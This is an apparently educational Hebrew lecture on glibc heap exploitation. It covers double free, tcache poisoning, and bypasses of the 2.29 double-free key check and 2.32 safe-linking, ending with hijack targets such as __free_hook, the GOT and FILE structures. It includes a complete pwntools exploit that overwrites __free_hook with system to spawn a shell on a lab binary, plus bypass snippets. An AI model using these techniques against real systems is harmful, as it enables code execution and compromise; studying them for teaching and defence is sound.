7.3 שחרור כפול וtcache poisoning הרצאה
בשיעור על פנימיות המקצה (7.1) ראינו איך glibc מנהל את ה-heap, ובשיעור על שימוש לאחר שחרור (7.2) ניצלנו מצביע תלוי כדי לקרוא ולכתוב לצ'אנק ששוחרר. עכשיו אנחנו לוקחים את זה צעד קדימה: במקום רק לדרוס נתונים של הקורבן, נשתלט על מבני הניהול הפנימיים של ה-allocator עצמו. הטכניקה שנלמד, tcache poisoning, היא כנראה הפרימיטיב הכי שימושי בכל exploit heap מודרני - היא הופכת קריאה או כתיבה קטנה אחת להקצאה שרירותית: מריצים malloc ומקבלים בחזרה מצביע לכתובת שאנחנו בחרנו. משם קצרה הדרך לדריסת כניסת GOT או hook ולחטיפת הרצה. בדרך נפגוש גם את השחרור הכפול (double free), ואת שתי ההגנות שגליбц הוסיפה בדיוק כדי לעצור אותנו: בדיקת המפתח של 2.29 וה-safe-linking של 2.32.
תזכורת - מבנה ה-tcache ושדה ה-fd¶
נזכיר את מה שראינו ב-7.1. ה-tcache (נוסף ב-glibc 2.26) הוא מטמון לכל thread, שמורכב מ-64 רשימות מקושרות (bins), אחת לכל גודל צ'אנק. כשמשחררים צ'אנק שגודלו נכנס לטווח ה-tcache (עד בקשה של 0x408 בתים, כלומר צ'אנק 0x410), הוא לא חוזר מיד ל-arena אלא נדחף לראש הרשימה של הגודל שלו. זו רשימת LIFO: מי ששוחרר אחרון יוקצה ראשון.
הנקודה הקריטית לשיעור הזה היא איפה נשמר מצביע ה"הבא" ברשימה. אחרי free, glibc משתמש ב-8 הבתים הראשונים של אזור הנתונים של הצ'אנק (אותם בתים שהמשתמש כתב אליהם קודם) כשדה next. מבנה הרשומה הוא:
typedef struct tcache_entry {
struct tcache_entry *next; /* fd: pointer to the next chunk in the list */
struct tcache_perthread_struct *key; /* added in 2.29, pointer to the tcache structure */
} tcache_entry;
כלומר, בצ'אנק חופשי, next (נקרא גם fd) יושב ב-offset 0 של אזור הנתונים, ו-key ב-offset 8. שימו לב מה זה אומר: התוכן שהמשתמש כותב לצ'אנק הוא בדיוק אותו מקום שבו ה-allocator שומר את המצביעים הפנימיים שלו. אם יש לנו כתיבה לצ'אנק ששוחרר (זה בדיוק ה-UAF מ-7.2), אנחנו כותבים ישירות על השרשור הפנימי של ה-tcache.
free chunk in tcache (view of the data area):
mem address -> +----------------------+
| next (fd) 8 bytes | <-- pointer to the next chunk, or NULL
+----------------------+
| key 8 bytes | <-- == tcache (marks "I'm inside")
+----------------------+
| ... rest of the data |
+----------------------+
ה-tcache שומר גם מונה (counts[idx]) לכל גודל, ומגביל כל bin ל-7 צ'אנקים. הן ה-next והן ה-counts יהיו במרכז ההתקפה, אז קבעו אותם בראש.
שחרור כפול - double free¶
שחרור כפול הוא בדיוק מה שהשם אומר: קוראים ל-free על אותו מצביע פעמיים.
למה זה מסוכן? בואו נעקוב אחרי מה שקורה ל-bin (נניח לרגע גרסה ישנה, לפני 2.29, בלי שום בדיקה). לכל free ה-allocator דוחף את הצ'אנק לראש הרשימה ומגדיל את המונה:
initial state: entries[idx] = NULL, count = 0
free(a): entries[idx] = a, a.next = NULL, count = 1
bin: a -> NULL
free(a) again: entries[idx] = a, a.next = a, count = 2
bin: a -> a -> a -> ... (loop!)
עכשיו הצ'אנק a מופיע ברשימה פעמיים, והרשימה מצביעה על עצמה. התוצאה המסוכנת: הקצאה הבאה תחזיר את a, אבל a עדיין נשאר ראש הרשימה. כלומר קיבלנו מצביע "חי" לצ'אנק שהוא בו זמנית עדיין ברשימת החופשיים. וברגע שיש לנו מצביע חי לצ'אנק שעדיין מקושר ב-tcache, אנחנו יכולים לכתוב לשדה ה-next שלו - וזו בדיוק ההרעלה שנראה בסעיף הבא. במילים אחרות, שחרור כפול הוא אחד הדרכים להגיע להרעלת tcache גם בלי חולשת UAF קלאסית של כתיבה-אחרי-שחרור.
זו הסיבה ששחרור כפול לא נחשב סתם "באג של יציבות" אלא חולשה חמורה: הוא שובר את האינvariant הבסיסי של ה-allocator - שכל צ'אנק חופשי מופיע ברשימה פעם אחת בלבד.
הרעלת tcache - tcache poisoning¶
זה הלב של השיעור. הרעיון פשוט להפליא: ה-allocator סומך באופן עיוור על שדה ה-next של צ'אנק חופשי (לפחות עד safe-linking, שנגיע אליו). אם נצליח לדרוס את ה-next של צ'אנק שברשימת ה-tcache ולכתוב שם כתובת משלנו, אז אחרי שההקצאה תוציא את הצ'אנק הזה, ראש הרשימה יצביע לכתובת שלנו - וההקצאה הבאה של אותו גודל תחזיר את הכתובת הזו כאילו היא צ'אנק תקין.
בואו נראה את הזרימה. נניח שיש לנו חולשת UAF שמאפשרת לכתוב לצ'אנק אחרי שחרורו (כמו ב-7.2), והמטרה שלנו היא לגרום ל-malloc להחזיר כתובת TARGET:
1) a = malloc(0x50); b = malloc(0x50);
2) free(b); bin: b -> NULL count = 1
free(a); bin: a -> b count = 2
3) UAF: write the value TARGET into a.next
bin: a -> TARGET count = 2
4) malloc(0x50) -> returns a. head of list = TARGET. count = 1
5) malloc(0x50) -> returns TARGET ! count = 0
בצעד 5 קיבלנו הקצאה שרירותית: malloc החזיר מצביע לכתובת שאנחנו בחרנו, ועכשיו כל כתיבה לצ'אנק הזה היא כתיבה ל-TARGET. זה הפרימיטיב. את TARGET נכוון בהמשך לכניסת GOT או ל-hook.
before step 4: after step 4 (we removed a):
entries[idx] --> [a] --> TARGET entries[idx] --> TARGET --> (garbage)
\_ the next allocation returns this
למה שני צ'אנקים ולא אחד - עניין המונה¶
אולי שאלתם את עצמכם למה שחררנו שני צ'אנקים (a ו-b) ולא הסתפקנו בשחרור בודד. הסיבה היא המונה. במסלול המהיר של malloc, glibc בודק לפני שהוא שולף מה-tcache:
בגרסאות ה-tcache הראשונות (2.26/2.27) הבדיקה הייתה על ראש הרשימה בלבד (entries[tc_idx] != NULL), ולכן הרעלה אחרי שחרור בודד עבדה - וזו הסיבה שהרבה מדריכים ישנים מראים בדיוק את זה. אבל בגרסאות המודרניות הבדיקה היא על המונה (counts[tc_idx] > 0). אם נשחרר צ'אנק אחד (count = 1), ההקצאה הראשונה תוריד את המונה ל-0, וההקצאה השנייה - זו שאמורה להחזיר את TARGET - כבר לא תיגע ב-tcache כי המונה אפס. לכן, כדי להיות חסינים לגרסה, משחררים שני צ'אנקים לאותו bin: כך המונה מתחיל ב-2, יורד ל-1 כשמוציאים את a, ועדיין חיובי כש-TARGET מוחזר. חוק אצבע: דאגו שהמונה יהיה חיובי ברגע שהצ'אנק המורעל מוחזר.
דוגמה מלאה - הרעלה אל תוך __free_hook¶
נחבר את הכל לתוקפה שפותחת shell. נעבוד על glibc 2.31 (Ubuntu 20.04), כי שם עדיין קיימים ה-hooks של malloc (הם הוסרו ב-2.34, נדבר על זה בהמשך) ואין safe-linking - מצב אידיאלי ללמוד את הטכניקה נקי.
היעד שלנו הוא __free_hook: משתנה גלובלי בתוך libc שאם הוא לא NULL, free(ptr) קורא אליו כ-__free_hook(ptr, caller) לפני כל שאר הלוגיקה. הרעיון: נשתמש בהרעלת tcache כדי להקצות צ'אנק בדיוק על כתובת __free_hook, נכתוב לשם את הכתובת של system, ואז נשחרר צ'אנק שהנתונים שלו הם "/bin/sh". התוצאה: system("/bin/sh").
נניח שכבר יש לנו את בסיס libc (הדלפנו אותו בדיוק כמו ב-4.4, למשל דרך ה-unsorted bin - נעשה את זה במלואו בתרגול). הבינארי הvulnerable הוא ממשק תפריט קלאסי עם הפעולות alloc/free/edit/view, ו-free לא מאפס את המצביע (משם ה-UAF). נגדיר פונקציות עזר ב-pwntools:
from pwn import *
context.binary = elf = ELF('./tc')
libc = ELF('./libc.so.6') # the target's libc (2.31)
p = process('./tc')
def alloc(i, sz, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'idx: ', str(i).encode())
p.sendlineafter(b'size: ', str(sz).encode())
p.sendafter(b'data: ', data)
def free(i):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(i).encode())
def edit(i, data):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', str(i).encode())
p.sendafter(b'data: ', data)
# ... here we would be leaking libc and setting libc.address = ... (like in 4.4)
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
# tcache poisoning: allocate onto __free_hook
alloc(0, 0x50, b'A'*8) # a
alloc(1, 0x50, b'B'*8) # b
free(1) # bin: b count = 1
free(0) # bin: a -> b count = 2
edit(0, p64(free_hook)) # a.next = &__free_hook (UAF write)
alloc(2, 0x50, b'C'*8) # returns a. head of the list = __free_hook
alloc(3, 0x50, p64(system)) # returns a chunk at __free_hook -> writes system there
# trigger: free on a chunk whose content is "/bin/sh"
alloc(4, 0x50, b'/bin/sh\x00')
free(4) # __free_hook("/bin/sh") == system("/bin/sh")
p.interactive()
זהו. חמישה malloc ושלושה free מסודרים נכון, וקיבלנו shell. שימו לב לרצף הלוגי: שחררנו שני צ'אנקים (מונה 2), דרסנו את ה-next של הראש, הוצאנו את הראש, ואז ההקצאה הבאה נחתה על __free_hook. ההנחות: ASLR פעיל (ולכן צריך את הleak), NX פעיל (לא משנה, אנחנו לא מריצים shellcode), הגנת PIE כבויה בבינו הדוגמה (לא הכרחי לטכניקה), ו-glibc 2.31 (עם hooks, בלי safe-linking).
ההגנה של glibc 2.29 - double free detected in tcache¶
עד 2.29 שחרור כפול ל-tcache עבד בלי שום בדיקה. זה היה פשוט מדי, ו-glibc הוסיפה מנגנון: שדה ה-key. כשמשחררים צ'אנק ל-tcache, glibc כותב לשדה השני (offset 8) את הכתובת של מבנה ה-tcache עצמו:
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
e->key = tcache; /* mark "this chunk is inside tcache" */
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
ובזמן free, לפני שדוחפים ל-tcache, בודקים אם הצ'אנק כבר מסומן:
tcache_entry *e = (tcache_entry *) chunk2mem (p);
if (__glibc_unlikely (e->key == tcache)) /* looks like a double free */
{
tcache_entry *tmp;
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
}
כלומר: אם ה-key של הצ'אנק שווה ל-tcache, glibc חושד בשחרור כפול, ואז סורק את הרשימה כדי לוודא. אם הצ'אנק אכן נמצא ברשימה, התוכנית קורסת עם ההודעה free(): double free detected in tcache 2. שחרור פשוט של free(a); free(a) ייתפס מיד.
איך עוקפים את בדיקת המפתח¶
הבדיקה מסתמכת על השוואה אחת: e->key == tcache. אם נצליח לשנות את שדה ה-key לערך אחר לפני השחרור השני, הבדיקה תיכשל וה-double free יעבור. וזה קל אם יש לנו כתיבה (UAF edit): פשוט דורסים את 8 הבתים ב-offset 8:
alloc(0, 0x50, b'A'*8)
free(0) # a enters tcache, key = tcache
edit(0, b'X'*8 + p64(0)) # leave next as is, but zero out key -> key != tcache
free(0) # passes! the check doesn't detect the double free
כאן שמרנו את 8 הבתים הראשונים (next) כמו שהם וכתבנו 0 על ה-key. עכשיו free(0) השני חושב שזה צ'אנק חדש לגמרי, ואנחנו חוזרים למצב של השרשור העצמי מהסעיף על double free - כולל היכולת להרעיל.
חלופה - שחרור כפול דרך fastbin¶
לא תמיד יש לנו שליטה לדרוס את ה-key. דרך עוקפת נוספת היא לוותר על ה-tcache ולעבוד עם ה-fastbin. אם ממלאים קודם את ה-tcache של אותו גודל (7 שחרורים), הצ'אנק ה-8 שנשחרר יילך ל-fastbin. ב-fastbin יש בדיקת שחרור כפול חלשה בהרבה: היא בודקת רק שהצ'אנק שמשחררים אינו הצ'אנק שכרגע בראש ה-fastbin. לכן free(a); free(b); free(a) עובר - כי בין שני השחרורים של a דחפנו את b, ו-a כבר לא בראש ברגע השחרור השני. זה ה-"fastbin dup" הקלאסי, והוא שימושי מאוד כשבדיקת ה-key חוסמת את מסלול ה-tcache.
קישור בטוח - Safe-Linking (glibc 2.32+)¶
עד כה הנחנו שאפשר לכתוב כתובת גולמית לשדה ה-next. מ-glibc 2.32 זה כבר לא נכון. ה-safe-linking "מערבל" את המצביעים של ה-tcache (וגם של ה-fastbin) לפני שהם נשמרים, כדי שדריסה עיוורת של next בכתובת שרירותית לא תעבוד. הערבול הוא XOR פשוט עם כתובת המצביע עצמו, מוזזת ימינה ב-12:
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
כלומר, במקום לשמור את next ישירות, glibc שומר (pos >> 12) ^ next, כאשר pos הוא הכתובת של שדה ה-next עצמו (שהיא כתובת ה-mem של הצ'אנק). ב-tcache_put המצביע מוצפן, וב-tcache_get הוא מפוענח חזרה:
/* put: */ e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
/* get: */ tcache->entries[tc_idx] = REVEAL_PTR (e->next);
בנוסף, ב-tcache_get נוספה בדיקת alignment: הצ'אנק שמוחזר חייב להיות aligned ל-16 בתים, אחרת קריסה עם malloc(): unaligned tcache chunk detected. זה אומר ש-TARGET שלנו חייב להיות aligned ל-16.
למה זה מקשה עלינו, ואיך leak heap פותר את זה¶
הבעיה: כדי לכתוב next שיפוענח ל-TARGET, אנחנו צריכים לכתוב את הערך המעורבל (pos >> 12) ^ TARGET. אבל pos הוא כתובת ה-heap של הצ'אנק, וב-ASLR ה-heap אקראי - אנחנו לא יודעים אותו. לכן safe-linking דורש מאיתנו leak של כתובת heap. ברגע שיש לנו כתובת heap, החישוב הוא שורה אחת:
def encrypt(pos, ptr):
# pos = address of the next field (== the mem address of the chunk being poisoned)
return (pos >> 12) ^ ptr
poisoned_fd = encrypt(chunk_addr, TARGET) # this is what gets written to next
וכשההקצאה תפענח: REVEAL_PTR יחשב (chunk_addr >> 12) ^ poisoned_fd = (chunk_addr >> 12) ^ (chunk_addr >> 12) ^ TARGET = TARGET. בול.
הבונוס: safe-linking עצמו leaks את ה-heap¶
הנה החולשה היפה של המנגנון. שימו לב מה קורה כשב-bin יש צ'אנק בודד: ה-next שלו הוא NULL, אז הערך המעורבל שנשמר הוא:
כלומר, אם נשחרר צ'אנק בודד ונקרא את שדה ה-next שלו (עם UAF read), נקבל ישירות את pos >> 12 - כלומר את הכתובת של הצ'אנק עצמו מוזזת ב-12! החזרת ההזזה נותנת את עמוד ה-heap:
leak = u64(view(0)[:8]) # reading the scrambled next of a single freed chunk
heap_base = leak << 12 # reversing the shift -> address of the heap page
אז ה-safe-linking, שנועד להקשות, בעצם מספק בעצמו את leak ה-heap שדרוש כדי לעקוף אותו, בכל פעם שיש לנו UAF read על צ'אנק שהוא היחיד ב-bin שלו. זה הופך את המנגנון ממכשול אמיתי למהמורה קטנה: leaking heap, מחשבים את הערך המעורבל, וממשיכים כרגיל.
איפה מכוונים את ההקצאה - יעדים¶
ההקצאה השרירותית שווה בדיוק כמו היעד שנכתוב אליו. כמה יעדים קלאסיים:
- כניסת GOT: אם ההגנה היא Partial RELRO, ה-GOT ניתן לכתיבה. מקצים עליה, דורסים למשל את
free@gotאוprintf@gotבכתובת שלsystemאו של one_gadget, והקריאה הבאה לפונקציה חוטפת. תחת Full RELRO ה-GOT לקריאה בלבד, וזה לא עובד. - ה-hook של malloc/free: המשתנים
__free_hookו-__malloc_hookהיו יעד הזהב במשך שנים - כתובת אחת בתוך libc שהופכת כלfree/mallocלקריאה שאנחנו שולטים בה. חשוב מאוד: הם הוסרו ב-glibc 2.34. על 2.34 ומעלה הטכניקה הזו מתה, וצריך לפנות ליעדים אחרים. - מבנה FILE של stdout/stdin או
_IO_list_all: יעד מודרני נפוץ אחרי הסרת ה-hooks. דורסים שדות ב-_IO_2_1_stdout_כדי לחטוף את זרימת ה-_IO_flush/exit. זה נושא בפני עצמו (House of Apple ודומיו). - מטפלי exit ו-
__exit_funcs: דריסת רשימת הפונקציות שרצות ב-exit, לרוב יחד עם עקיפת ה-PTR_MANGLE שמגן עליהן. - הreturn address על המחסנית: אם הדלפנו כתובת stack, אפשר להקצות עליה ולבנות ROP chain במקום.
בחירת היעד תלויה בגרסת glibc וב-RELRO. חוק פשוט: אם יש hooks (עד 2.33) ורוצים דבר נקי - __free_hook = system. אם אין hooks (2.34+) - GOT (אם Partial RELRO) או תקיפת FILE.
מלכודות נפוצות וטיפים¶
- גודל ה-bin חייב להתאים. הרעלה עובדת רק בתוך אותו גודל: הצ'אנקים שאתם משחררים וההקצאות שאתם מבקשים חייבים למפות לאותו
tc_idx. בקשה של0x50נותנת צ'אנק0x60- שמרו על עקביות. - שמרו על המונה חיובי. בגרסאות מודרניות, אם המונה מגיע ל-0 לפני שהצ'אנק המורעל מוחזר, ההקצאה תדלג על ה-tcache. שחררו שני צ'אנקים, לא אחד.
- על 2.29+ אל תשכחו את ה-key. שחרור כפול נאיבי קורס עם
double free detected in tcache 2. דרסו את שדה ה-key (offset 8) לפני השחרור השני, או עברו למסלול fastbin. - על 2.32+ אל תכתבו כתובת גולמית. חייבים לערבל:
(pos >> 12) ^ TARGET. אם שכחתם, ה-next יפוענח לזבל וההקצאה תחזיר כתובת אקראית או תקרוס. וזכרו את בדיקת הalignment:TARGETחייב להיות aligned ל-16. - על 2.34+ אין hooks. אל תבזבזו זמן על
__free_hook; בדקו את גרסת ה-libc (strings libc.so.6 | grep "GNU C") לפני שבוחרים יעד. - מיפוי ב-pwndbg. הפקודות
vis_heap_chunks,tcachebinsו-binsהן החברות הכי טובות שלכם - הן מראות בדיוק מה יש בכל bin, כולל מצביעי next מפוענחים בגרסאות עם safe-linking.
סיכום¶
- שחרור כפול (double free) שובר את האינvariant של ה-allocator: אותו צ'אנק מופיע ברשימת ה-tcache פעמיים, מה שנותן מצביע חי לצ'אנק שעדיין ברשימה - שער להרעלה.
- הרעלת tcache (tcache poisoning) דורסת את שדה ה-
nextשל צ'אנק חופשי, וכךmallocהבא של אותו גודל מחזיר כתובת שאנחנו בחרנו - הקצאה שרירותית. - מזה בונים חטיפת הרצה: מקצים על
__free_hook/GOT, כותביםsystem/one_gadget, ומפעילים. - הגרסה glibc 2.29 הוסיפה את שדה ה-key ובדיקת שחרור כפול (
double free detected in tcache 2); עוקפים בדריסת ה-key או במסלול fastbin. - הגרסה glibc 2.32 הוסיפה safe-linking: ה-
nextנשמר כ-(pos >> 12) ^ next, ולכן צריך leak heap כדי לחשב את הערך המעורבל - אבל צ'אנק בודד ששוחרר leaks בעצמו את ה-heap (כיnext=NULLנותןpos>>12). יש גם בדיקת alignment ל-16. - הגרסה glibc 2.34 הסירה את ה-hooks; היעדים המודרניים הם GOT (ב-Partial RELRO), מבני FILE, ומטפלי exit.
- ההנחות תמיד מפורשות: מיקום ה-tcache/hooks תלוי בגרסת glibc, וכתיבה ל-GOT תלויה ב-RELRO. תמיד קבעו גרסה והגנות לפני שבוחרים מסלול.